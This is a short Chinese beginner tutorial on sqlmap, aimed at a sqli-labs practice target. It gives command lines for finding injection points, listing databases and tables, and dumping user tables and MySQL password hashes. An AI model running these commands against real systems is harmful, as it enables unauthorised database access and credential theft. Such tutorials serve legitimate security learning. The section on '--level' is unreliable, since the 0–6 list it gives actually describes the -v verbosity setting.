SqlMap入门
检测是否存在注入点 -u
python sqlmap.py -u"http://192.168.2.33/sqli-labs/Less-1/?id=1"
自动化执行 --batch
在检测过程中会有大量的交互选项,如果懒得选可以使用--batch参数
python sqlmap.py -u"http://192.168.2.33/sqli-labs/Less-1/?id=1" --batch
获取数据库信息
暴库 --dbs
python sqlmap.py -u"http://192.168.2.33/sqli-labs/Less-1/?id=1" --dbs
列出指定数据库中的所有的表 --tables
python sqlmap.py -u"http://192.168.2.33/sqli-labs/Less-1/?id=1" -D security --tables
-D security //指定数据库security
列出表中字段 --columns
python sqlmap.py -u "http://192.168.2.33/sqli-labs/Less-1/?id=1" -D security -T users --columns
获取字段中的数据 --dump
python sqlmap.py -u "http://192.168.2.33/sqli-labs/Less-1/?id=1" -D security -T users -C"id,password,username" --dump
获取指定范围的数据
python sqlmap.py -u "http://192.168.2.33/sqli-labs/Less-1/?id=1" -D security -T users -C"id,password,username" --start 1 --stop 10 --dump
获取当前数据库信息
当前web应用使用的数据库 --current-db
python sqlmap.py -u "http://192.168.2.33/sqli-labs/Less-1/?id=1" --current-db
当前web应用使用的用户信息 --current-user
python sqlmap.py -u "http://192.168.2.33/sqli-labs/Less-1/?id=1" --current-user
列出MySQL所有用户 --users
python sqlmap.py -u "http://192.168.2.33/sqli-labs/Less-1/?id=1" --users
列出MySQL用户的密码 --passwords
python sqlmap.py -u "http://192.168.2.33/sqli-labs/Less-1/?id=1" --passwords
sqlmap测试等级 --level
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。
等级是指测试结果的输出的详细程度,根据测试,--level等级的提高得到的效果远比-v等级提高得到的效果好,如果你想看到sqlmap发送的测试payload最好的等级就是3。
python sqlmap.py -u "http://192.168.2.33/sqli-labs/Less-1/?id=1" --level 3
手工指定需要测试的参数 -p
sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。但是你可以手动用-p参数设置想要测试的参数。例如: -p "id,user-anget"